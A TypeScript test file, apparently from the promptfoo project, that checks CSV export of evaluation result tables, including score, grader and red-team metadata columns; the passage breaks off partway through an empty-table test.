0d3cb498a3
CI / Shell Format Check (push) Has been cancelled
CI / Check Ruby (3.4) (push) Has been cancelled
CI / CI Config (push) Has been cancelled
CI / Test on Node ${{ matrix.node }} and ${{ matrix.os }}${{ matrix.shard && format(' (shard {0}/3)', matrix.shard) || '' }} (push) Has been cancelled
CI / Build on Node ${{ matrix.node }} (push) Has been cancelled
CI / Style Check (push) Has been cancelled
CI / Generate Assets (push) Has been cancelled
CI / Check Python (3.14) (push) Has been cancelled
CI / Check Python (3.9) (push) Has been cancelled
CI / Build Docs (push) Has been cancelled
CI / Code Scan Action (push) Has been cancelled
CI / Site tests (push) Has been cancelled
CI / webui tests (push) Has been cancelled
CI / Run Integration Tests (push) Has been cancelled
CI / Run Smoke Tests (push) Has been cancelled
CI / Go Tests (push) Has been cancelled
CI / Share Test (push) Has been cancelled
CI / Redteam (Production API) (push) Has been cancelled
CI / Redteam (Staging API) (push) Has been cancelled
CI / GitHub Actions Lint (push) Has been cancelled
CI / Check Ruby (3.0) (push) Has been cancelled
release-please / release-please (push) Has been cancelled
release-please / build (push) Has been cancelled
release-please / publish-npm (push) Has been cancelled
release-please / publish-npm-backfill (push) Has been cancelled
release-please / docker (push) Has been cancelled
release-please / publish-code-scan-action (push) Has been cancelled
release-please / attest-code-scan-action (push) Has been cancelled
Deploy local.promptfoo.app / Deploy to Cloudflare Pages (push) Has been cancelled
Test and Publish Multi-arch Docker Image / test (push) Has been cancelled
Test and Publish Multi-arch Docker Image / build-docker-and-push-digests (map[digest-suffix:linux-amd64 platform:linux/amd64 runner:ubuntu-latest]) (push) Has been cancelled
Test and Publish Multi-arch Docker Image / build-docker-and-push-digests (map[digest-suffix:linux-arm64 platform:linux/arm64 runner:ubuntu-24.04-arm]) (push) Has been cancelled
Test and Publish Multi-arch Docker Image / merge-docker-digests (push) Has been cancelled
Test and Publish Multi-arch Docker Image / Attest Multi-arch Image (push) Has been cancelled
Validate Renovate Config / Validate Renovate Configuration (push) Has been cancelled
2024 lines
66 KiB
TypeScript
2024 lines
66 KiB
TypeScript
import { parse as parseCsv } from 'csv-parse/sync';
|
|
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
|
import { ResultFailureReason } from '../../../src/types/index';
|
|
import {
|
|
escapeCsvFormula,
|
|
evalTableToCsv,
|
|
evalTableToJson,
|
|
generateEvalCsv,
|
|
getEvalTableOutputPromptLocationsBySize,
|
|
getEvalTablePromptStrippedPayload,
|
|
STRIPPED_TABLE_CELL_PROMPT,
|
|
streamEvalCsv,
|
|
} from '../../../src/util/eval/evalTableUtils';
|
|
import { createCompletedPrompt, createPromptMetrics } from '../../factories/eval';
|
|
|
|
import type Eval from '../../../src/models/eval';
|
|
import type {
|
|
CompletedPrompt,
|
|
EvaluateTableOutput,
|
|
EvaluateTableRow,
|
|
Prompt,
|
|
} from '../../../src/types/index';
|
|
|
|
type LegacyCompletedPrompt = Omit<CompletedPrompt, 'metrics'> & {
|
|
metrics: Omit<NonNullable<CompletedPrompt['metrics']>, 'namedScoresCount'>;
|
|
};
|
|
|
|
const parseCsvRow = (line: string): string[] => {
|
|
const [row = []] = parseCsv(line, { relax_quotes: true }) as string[][];
|
|
return row;
|
|
};
|
|
|
|
describe('evalTableUtils', () => {
|
|
let mockTable: {
|
|
head: { prompts: CompletedPrompt[]; vars: string[] };
|
|
body: EvaluateTableRow[];
|
|
};
|
|
|
|
beforeEach(() => {
|
|
mockTable = {
|
|
head: {
|
|
vars: ['var1', 'var2'],
|
|
prompts: [
|
|
createCompletedPrompt('Test prompt {{var1}}', {
|
|
provider: 'openai:gpt-4',
|
|
label: 'Prompt 1',
|
|
display: 'Test prompt',
|
|
}),
|
|
createCompletedPrompt('Another prompt {{var2}}', {
|
|
provider: 'anthropic:claude',
|
|
label: 'Prompt 2',
|
|
display: 'Another prompt',
|
|
}),
|
|
],
|
|
},
|
|
body: [
|
|
{
|
|
test: {
|
|
vars: { var1: 'value1', var2: 'value2' },
|
|
description: 'Test case 1',
|
|
},
|
|
testIdx: 0,
|
|
vars: ['value1', 'value2'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Success output',
|
|
gradingResult: {
|
|
pass: true,
|
|
reason: 'Output meets criteria',
|
|
comment: 'Well formatted',
|
|
},
|
|
} as EvaluateTableOutput,
|
|
{
|
|
pass: false,
|
|
text: 'Failed output',
|
|
failureReason: ResultFailureReason.ASSERT,
|
|
gradingResult: {
|
|
pass: false,
|
|
reason: 'Missing required field',
|
|
comment: 'Needs improvement',
|
|
},
|
|
} as EvaluateTableOutput,
|
|
],
|
|
},
|
|
{
|
|
test: {
|
|
vars: { var1: 'value3', var2: 'value4' },
|
|
},
|
|
testIdx: 1,
|
|
vars: ['value3', 'value4'],
|
|
outputs: [
|
|
{
|
|
pass: false,
|
|
text: 'Error output',
|
|
failureReason: ResultFailureReason.ERROR,
|
|
error: 'Network timeout',
|
|
} as unknown as EvaluateTableOutput,
|
|
{
|
|
pass: true,
|
|
text: 'Another success',
|
|
} as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
});
|
|
|
|
describe('evalTableToCsv', () => {
|
|
describe('Basic CSV generation', () => {
|
|
it('should generate CSV with headers and data', () => {
|
|
const csv = evalTableToCsv(mockTable);
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('Description');
|
|
expect(lines[0]).toContain('var1');
|
|
expect(lines[0]).toContain('var2');
|
|
expect(lines[0]).toContain('[openai:gpt-4] Prompt 1');
|
|
expect(lines[0]).toContain('[anthropic:claude] Prompt 2');
|
|
expect(lines[0]).toContain('Status');
|
|
expect(lines[0]).toContain('Score');
|
|
expect(lines[0]).toContain('Named Scores');
|
|
expect(lines[0]).toContain('Grader Reason');
|
|
expect(lines[0]).toContain('Comment');
|
|
});
|
|
|
|
it('should include test descriptions when present', () => {
|
|
const csv = evalTableToCsv(mockTable);
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[1]).toContain('Test case 1');
|
|
// Second row should not have a description (empty string)
|
|
const row2Parts = lines[2].split(',');
|
|
expect(row2Parts[0]).toBe(''); // Empty description for second test
|
|
});
|
|
|
|
it('should exclude Description column when no descriptions exist', () => {
|
|
const tableWithoutDescriptions = {
|
|
...mockTable,
|
|
body: mockTable.body.map((row) => ({
|
|
...row,
|
|
test: { ...row.test, description: undefined },
|
|
})),
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithoutDescriptions);
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).not.toContain('Description');
|
|
expect(lines[0].startsWith('var1')).toBe(true);
|
|
});
|
|
|
|
it('should format output with separate status column', () => {
|
|
const csv = evalTableToCsv(mockTable);
|
|
const lines = csv.split('\n');
|
|
|
|
// Output text should be clean (no prefix)
|
|
expect(lines[1]).toContain('Success output');
|
|
expect(lines[1]).toContain('Failed output');
|
|
expect(lines[2]).toContain('Error output');
|
|
expect(lines[2]).toContain('Another success');
|
|
|
|
// Status should be in separate columns
|
|
expect(lines[1]).toContain('PASS');
|
|
expect(lines[1]).toContain('FAIL');
|
|
expect(lines[2]).toContain('ERROR');
|
|
});
|
|
|
|
it('should include grader reason and comments', () => {
|
|
const csv = evalTableToCsv(mockTable);
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[1]).toContain('Output meets criteria');
|
|
expect(lines[1]).toContain('Well formatted');
|
|
expect(lines[1]).toContain('Missing required field');
|
|
expect(lines[1]).toContain('Needs improvement');
|
|
});
|
|
|
|
it('should include named scores as JSON', () => {
|
|
const tableWithNamedScores = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output with named scores',
|
|
score: 0.85,
|
|
namedScores: {
|
|
clarity: 0.9,
|
|
accuracy: 0.8,
|
|
relevance: 0.85,
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithNamedScores);
|
|
const lines = csv.split('\n');
|
|
|
|
// Named scores should be JSON formatted
|
|
expect(lines[1]).toContain('clarity');
|
|
expect(lines[1]).toContain('accuracy');
|
|
expect(lines[1]).toContain('relevance');
|
|
expect(lines[1]).toContain('0.9');
|
|
expect(lines[1]).toContain('0.8');
|
|
expect(lines[1]).toContain('0.85');
|
|
});
|
|
|
|
it('should add dedicated metric columns for named scores', () => {
|
|
const tableWithNamedScores = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'First scored output',
|
|
score: 0.85,
|
|
namedScores: {
|
|
clarity: 0.9,
|
|
accuracy: 0.8,
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
{
|
|
...mockTable.body[1],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Second scored output',
|
|
score: 0.75,
|
|
namedScores: {
|
|
clarity: 0.7,
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithNamedScores);
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('Metric: accuracy');
|
|
expect(lines[0]).toContain('Metric: clarity');
|
|
expect(lines[1]).toContain('0.80,0.90');
|
|
expect(lines[2]).toContain(',0.70');
|
|
});
|
|
|
|
it('should handle empty named scores', () => {
|
|
const tableWithEmptyNamedScores = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output without named scores',
|
|
score: 1.0,
|
|
namedScores: {},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithEmptyNamedScores);
|
|
const lines = csv.split('\n');
|
|
|
|
// Empty named scores should result in empty string, not '{}'
|
|
expect(lines[1]).toContain('Output without named scores');
|
|
expect(lines[1]).not.toContain('{}');
|
|
});
|
|
|
|
it('should leave dedicated metric cells empty for null outputs in a multi-prompt table', () => {
|
|
// When one output is null, the corresponding prompt block must still
|
|
// emit the right number of placeholder cells (label, status, score,
|
|
// namedScores, N metric columns, grader reason, comment). If the math
|
|
// is wrong, downstream columns (including the next prompt's label)
|
|
// shift and the CSV becomes unparseable.
|
|
const tableWithMixedOutputs = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
null,
|
|
{
|
|
pass: true,
|
|
text: 'Second output',
|
|
score: 0.9,
|
|
namedScores: { clarity: 0.9, accuracy: 0.8 },
|
|
} as unknown as EvaluateTableOutput,
|
|
] as EvaluateTableOutput[],
|
|
},
|
|
],
|
|
};
|
|
|
|
const [headerCols, rowCols] = parseCsv(evalTableToCsv(tableWithMixedOutputs)) as string[][];
|
|
expect(rowCols).toHaveLength(headerCols.length);
|
|
|
|
// The null prompt block has no metric columns (its row contributes no
|
|
// named scores). The populated prompt block has both metrics.
|
|
expect(headerCols).toContain('Metric: clarity');
|
|
expect(headerCols).toContain('Metric: accuracy');
|
|
const clarityIdx = headerCols.indexOf('Metric: clarity');
|
|
const accuracyIdx = headerCols.indexOf('Metric: accuracy');
|
|
expect(rowCols[clarityIdx]).toBe('0.90');
|
|
expect(rowCols[accuracyIdx]).toBe('0.80');
|
|
});
|
|
|
|
it('should handle null and undefined outputs', () => {
|
|
const tableWithNullOutputs = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
null,
|
|
undefined,
|
|
{ pass: true, text: 'Valid output' } as EvaluateTableOutput,
|
|
] as EvaluateTableOutput[],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithNullOutputs);
|
|
const lines = csv.split('\n');
|
|
|
|
// Should have empty values for null/undefined outputs (6 empty columns per null output)
|
|
expect(lines[1]).toContain(',,,,,,'); // Empty values for null output
|
|
expect(lines[1]).toContain('Valid output');
|
|
expect(lines[1]).toContain('PASS');
|
|
});
|
|
|
|
it('should handle outputs without gradingResult', () => {
|
|
const tableWithoutGrading = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output without grading',
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithoutGrading);
|
|
const lines = csv.split('\n');
|
|
|
|
// Should have output, status, score (empty), and empty grader columns
|
|
expect(lines[1]).toContain('Output without grading');
|
|
expect(lines[1]).toContain('PASS');
|
|
// Empty score and grader columns at the end
|
|
expect(lines[1]).toMatch(/PASS,.*,,$/);
|
|
});
|
|
});
|
|
|
|
describe('Red team CSV generation', () => {
|
|
it('should add Messages column for message-based providers', () => {
|
|
const tableWithMessages = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: {
|
|
messages: [
|
|
{ role: 'user', content: 'Hello' },
|
|
{ role: 'assistant', content: 'Hi there!' },
|
|
],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithMessages, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('Messages');
|
|
// CSV escapes quotes in JSON strings
|
|
expect(lines[1]).toMatch(
|
|
/\[.*role.*user.*content.*Hello.*\}.*\{.*role.*assistant.*content.*Hi there.*\]/,
|
|
);
|
|
});
|
|
|
|
it('should add RedteamHistory column for iterative providers', () => {
|
|
const tableWithHistory = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: false,
|
|
text: 'Output',
|
|
metadata: {
|
|
redteamHistory: [
|
|
'Initial attempt',
|
|
'Second attempt with modification',
|
|
'Final successful attempt',
|
|
],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithHistory, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('RedteamHistory');
|
|
// CSV escapes quotes in JSON strings
|
|
expect(lines[1]).toMatch(
|
|
/Initial attempt.*Second attempt with modification.*Final successful attempt/,
|
|
);
|
|
});
|
|
|
|
it('should add RedteamTreeHistory column for tree-based providers', () => {
|
|
const tableWithTreeHistory = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: false,
|
|
text: 'Output',
|
|
metadata: {
|
|
redteamTreeHistory: 'Root -> Branch1 -> Leaf1\nRoot -> Branch2 -> Leaf2',
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithTreeHistory, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('RedteamTreeHistory');
|
|
// Tree history is a string primitive, so it's added directly (not JSON.stringify'd)
|
|
expect(lines[1]).toMatch(/Root -> Branch1 -> Leaf1/);
|
|
expect(csv).toMatch(/Root -> Branch2 -> Leaf2/);
|
|
});
|
|
|
|
it('should add pluginId, strategyId, sessionId, and sessionIds columns', () => {
|
|
const tableWithIds = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: false,
|
|
text: 'Output',
|
|
metadata: {
|
|
pluginId: 'harmful:violent-crime',
|
|
strategyId: 'jailbreak',
|
|
sessionId: 'session-abc-123',
|
|
sessionIds: ['session-abc-123', 'session-def-456'],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithIds, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('pluginId');
|
|
expect(lines[0]).toContain('strategyId');
|
|
expect(lines[0]).toContain('sessionId');
|
|
expect(lines[0]).toContain('sessionIds');
|
|
// String primitives are added directly (not JSON.stringify'd)
|
|
expect(lines[1]).toContain('harmful:violent-crime');
|
|
expect(lines[1]).toContain('jailbreak');
|
|
expect(lines[1]).toContain('session-abc-123');
|
|
// sessionIds is an array, should be JSON stringified (CSV escapes quotes as double quotes)
|
|
expect(lines[1]).toMatch(/session-abc-123.*session-def-456/);
|
|
});
|
|
|
|
it('should include all red team columns when multiple metadata types exist', () => {
|
|
const tableWithAllMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output 1',
|
|
metadata: {
|
|
messages: [{ role: 'user', content: 'Test' }],
|
|
redteamHistory: ['Attempt 1'],
|
|
redteamTreeHistory: 'Tree structure',
|
|
pluginId: 'test-plugin',
|
|
strategyId: 'test-strategy',
|
|
sessionId: 'session-123',
|
|
sessionIds: ['session-123', 'session-456'],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
{
|
|
pass: false,
|
|
text: 'Output 2',
|
|
metadata: {
|
|
messages: [{ role: 'assistant', content: 'Response' }],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithAllMetadata, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).toContain('Messages');
|
|
expect(lines[0]).toContain('RedteamHistory');
|
|
expect(lines[0]).toContain('RedteamTreeHistory');
|
|
expect(lines[0]).toContain('pluginId');
|
|
expect(lines[0]).toContain('strategyId');
|
|
expect(lines[0]).toContain('sessionId');
|
|
expect(lines[0]).toContain('sessionIds');
|
|
});
|
|
|
|
it('should handle multiple outputs without redteam metadata', () => {
|
|
const tableWithMultipleOutputs = {
|
|
head: {
|
|
vars: ['var1'],
|
|
prompts: [
|
|
createCompletedPrompt('Test prompt 1', {
|
|
provider: 'openai:gpt-4',
|
|
label: 'Prompt 1',
|
|
display: 'Test prompt 1',
|
|
}),
|
|
createCompletedPrompt('Test prompt 2', {
|
|
provider: 'anthropic:claude',
|
|
label: 'Prompt 2',
|
|
display: 'Test prompt 2',
|
|
}),
|
|
],
|
|
},
|
|
body: [
|
|
{
|
|
test: {
|
|
vars: { var1: 'value1' },
|
|
},
|
|
testIdx: 0,
|
|
vars: ['value1'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'First output',
|
|
gradingResult: {
|
|
pass: true,
|
|
reason: 'Good response',
|
|
comment: 'Well formatted',
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
{
|
|
pass: false,
|
|
text: 'Second output',
|
|
failureReason: ResultFailureReason.ASSERT,
|
|
gradingResult: {
|
|
pass: false,
|
|
reason: 'Bad response',
|
|
comment: 'Needs work',
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithMultipleOutputs); // No isRedteam flag
|
|
const lines = csv.split('\n').filter((line: string) => line.trim());
|
|
|
|
const headerCols = parseCsvRow(lines[0]);
|
|
const dataCols = parseCsvRow(lines[1]);
|
|
|
|
// Header and data row should have the same number of columns
|
|
expect(headerCols.length).toBe(dataCols.length);
|
|
|
|
// Verify no redteam columns are present
|
|
expect(lines[0]).not.toContain('Messages');
|
|
expect(lines[0]).not.toContain('pluginId');
|
|
expect(lines[0]).not.toContain('strategyId');
|
|
|
|
// Both outputs should be present
|
|
expect(lines[1]).toContain('First output');
|
|
expect(lines[1]).toContain('Second output');
|
|
expect(lines[1]).toContain('Good response');
|
|
expect(lines[1]).toContain('Bad response');
|
|
});
|
|
|
|
it('should add redteam metadata columns once per row with multiple outputs', () => {
|
|
const tableWithMultipleOutputs = {
|
|
head: {
|
|
vars: ['var1'],
|
|
prompts: [
|
|
createCompletedPrompt('Test prompt 1', {
|
|
provider: 'openai:gpt-4',
|
|
label: 'Prompt 1',
|
|
display: 'Test prompt 1',
|
|
}),
|
|
createCompletedPrompt('Test prompt 2', {
|
|
provider: 'anthropic:claude',
|
|
label: 'Prompt 2',
|
|
display: 'Test prompt 2',
|
|
}),
|
|
],
|
|
},
|
|
body: [
|
|
{
|
|
test: {
|
|
vars: { var1: 'value1' },
|
|
},
|
|
testIdx: 0,
|
|
vars: ['value1'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'First output',
|
|
metadata: {
|
|
messages: [{ role: 'user', content: 'First message' }],
|
|
pluginId: 'plugin-1',
|
|
strategyId: 'strategy-1',
|
|
sessionId: 'session-1',
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
{
|
|
pass: false,
|
|
text: 'Second output',
|
|
metadata: {
|
|
messages: [{ role: 'assistant', content: 'Second message' }],
|
|
pluginId: 'plugin-2',
|
|
strategyId: 'strategy-2',
|
|
sessionId: 'session-2',
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithMultipleOutputs, { isRedteam: true });
|
|
const lines = csv.split('\n').filter((line: string) => line.trim());
|
|
|
|
const headerCols = parseCsvRow(lines[0]);
|
|
const dataCols = parseCsvRow(lines[1]);
|
|
|
|
// Header and data row should have the same number of columns
|
|
expect(headerCols.length).toBe(dataCols.length);
|
|
|
|
// Verify redteam columns are present in header (added once, not per output)
|
|
expect(lines[0]).toContain('Messages');
|
|
expect(lines[0]).toContain('pluginId');
|
|
expect(lines[0]).toContain('strategyId');
|
|
expect(lines[0]).toContain('sessionId');
|
|
|
|
// Should use first output's metadata
|
|
expect(lines[1]).toContain('First output');
|
|
expect(lines[1]).toContain('Second output');
|
|
expect(lines[1]).toContain('plugin-1'); // From first output
|
|
expect(lines[1]).not.toContain('plugin-2'); // Second output's metadata should not be included
|
|
});
|
|
|
|
it('should not add red team columns when config.redteam is not present', () => {
|
|
const tableWithMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: {
|
|
messages: [{ role: 'user', content: 'Test' }],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithMetadata); // No config
|
|
const lines = csv.split('\n');
|
|
|
|
expect(lines[0]).not.toContain('Messages');
|
|
expect(lines[0]).not.toContain('RedteamHistory');
|
|
expect(lines[0]).not.toContain('RedteamTreeHistory');
|
|
});
|
|
|
|
it('should handle empty metadata arrays gracefully', () => {
|
|
const tableWithEmptyMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: {
|
|
messages: [],
|
|
redteamHistory: [],
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithEmptyMetadata, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
// Empty arrays are still JSON.stringify'd (they're objects, not primitives)
|
|
expect(lines[1]).toContain('[]');
|
|
});
|
|
|
|
it('should handle null/undefined metadata fields', () => {
|
|
const tableWithNullMetadata = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output',
|
|
metadata: {
|
|
messages: null,
|
|
redteamHistory: undefined,
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithNullMetadata, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
// When metadata fields are null/undefined, they should be empty strings in CSV
|
|
if (lines[0].includes('Messages') || lines[0].includes('RedteamHistory')) {
|
|
// The data row should have empty values for the redteam columns (trailing commas)
|
|
expect(lines[1]).toMatch(/,,$/);
|
|
} else {
|
|
// If no redteam columns were added, check that the line ends appropriately
|
|
expect(lines[1]).toBeDefined();
|
|
}
|
|
});
|
|
|
|
it('should include pluginId and strategyId from metadata in CSV output', () => {
|
|
// This test validates that pluginId and strategyId are read from metadata
|
|
// for CSV export, consistent with the promptfoo-cloud approach
|
|
const outputWithMetadataIds: EvaluateTableOutput = {
|
|
id: 'test-id',
|
|
pass: true,
|
|
text: 'Test output',
|
|
prompt: 'Test prompt',
|
|
score: 1,
|
|
cost: 0,
|
|
latencyMs: 100,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
testCase: { vars: {} },
|
|
metadata: {
|
|
pluginId: 'harmful:violent-crime',
|
|
strategyId: 'jailbreak',
|
|
},
|
|
};
|
|
|
|
// Verify the fields are accessible via metadata
|
|
expect(outputWithMetadataIds.metadata?.pluginId).toBe('harmful:violent-crime');
|
|
expect(outputWithMetadataIds.metadata?.strategyId).toBe('jailbreak');
|
|
|
|
// Verify the output can be used in a table
|
|
const tableWithMetadataIds = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [outputWithMetadataIds],
|
|
},
|
|
],
|
|
};
|
|
|
|
// Should not throw when generating CSV
|
|
const csv = evalTableToCsv(tableWithMetadataIds, { isRedteam: true });
|
|
expect(csv).toBeDefined();
|
|
expect(csv.length).toBeGreaterThan(0);
|
|
|
|
// Verify metadata fields appear in CSV output
|
|
const lines = csv.split('\n');
|
|
expect(lines[0]).toContain('pluginId');
|
|
expect(lines[0]).toContain('strategyId');
|
|
expect(lines[1]).toContain('harmful:violent-crime');
|
|
expect(lines[1]).toContain('jailbreak');
|
|
});
|
|
|
|
it('should default strategyId to "basic" for strategy-less tests', () => {
|
|
// This test validates that when strategyId is missing from metadata,
|
|
// the CSV export defaults to 'basic'
|
|
const outputWithoutStrategy: EvaluateTableOutput = {
|
|
id: 'test-id',
|
|
pass: true,
|
|
text: 'Test output',
|
|
prompt: 'Test prompt',
|
|
score: 1,
|
|
cost: 0,
|
|
latencyMs: 100,
|
|
namedScores: {},
|
|
failureReason: ResultFailureReason.NONE,
|
|
testCase: { vars: {} },
|
|
metadata: {
|
|
pluginId: 'harmful:violent-crime',
|
|
// strategyId intentionally omitted
|
|
},
|
|
};
|
|
|
|
const tableWithoutStrategy = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
outputs: [outputWithoutStrategy],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithoutStrategy, { isRedteam: true });
|
|
const lines = csv.split('\n');
|
|
|
|
// Verify strategyId defaults to 'basic'
|
|
expect(lines[1]).toContain('basic');
|
|
});
|
|
});
|
|
|
|
describe('Edge cases and special characters', () => {
|
|
it('should handle special characters in text fields', () => {
|
|
const tableWithSpecialChars = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
test: {
|
|
vars: {},
|
|
description: 'Description with "quotes", commas, and\nnewlines',
|
|
},
|
|
vars: ['Value with, comma', 'Value with "quotes"'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output with\nnewline and "quotes"',
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithSpecialChars);
|
|
|
|
// CSV should properly escape special characters
|
|
expect(csv).toContain('"Description with ""quotes"", commas, and\nnewlines"');
|
|
expect(csv).toContain('"Value with, comma"');
|
|
expect(csv).toContain('"Value with ""quotes"""');
|
|
});
|
|
|
|
it('should handle Unicode characters', () => {
|
|
const tableWithUnicode = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
test: {
|
|
vars: {},
|
|
description: 'Test with émojis 🎉 and Unicode: 你好世界',
|
|
},
|
|
vars: ['日本語', '한국어'],
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: 'Output with symbols: ™️ © ® ≠ ∞',
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithUnicode);
|
|
|
|
expect(csv).toContain('Test with émojis 🎉 and Unicode: 你好世界');
|
|
expect(csv).toContain('日本語');
|
|
expect(csv).toContain('한국어');
|
|
expect(csv).toContain('Output with symbols: ™️ © ® ≠ ∞');
|
|
});
|
|
|
|
it('should handle very long text fields', () => {
|
|
const longText = 'a'.repeat(10000);
|
|
const tableWithLongText = {
|
|
...mockTable,
|
|
body: [
|
|
{
|
|
...mockTable.body[0],
|
|
test: {
|
|
vars: {},
|
|
description: longText,
|
|
},
|
|
outputs: [
|
|
{
|
|
pass: true,
|
|
text: longText,
|
|
gradingResult: {
|
|
pass: true,
|
|
reason: longText,
|
|
comment: longText,
|
|
},
|
|
} as unknown as EvaluateTableOutput,
|
|
],
|
|
},
|
|
],
|
|
};
|
|
|
|
const csv = evalTableToCsv(tableWithLongText);
|
|
|
|
// Should contain the long text (CSV format handles it)
|
|
expect(csv).toContain(longText);
|
|
});
|
|
|
|
it('should handle empty table body', () => {
|
|
const emptyTable = {
|
|
...mockTable,
|
|
body: [],
|
|
};
|
|
|
|
const csv = evalTableToCsv(emptyTable);
|
|
const lines = csv.split('\n').filter((line: string) => line.trim());
|
|
|
|
// Should only have header row
|
|
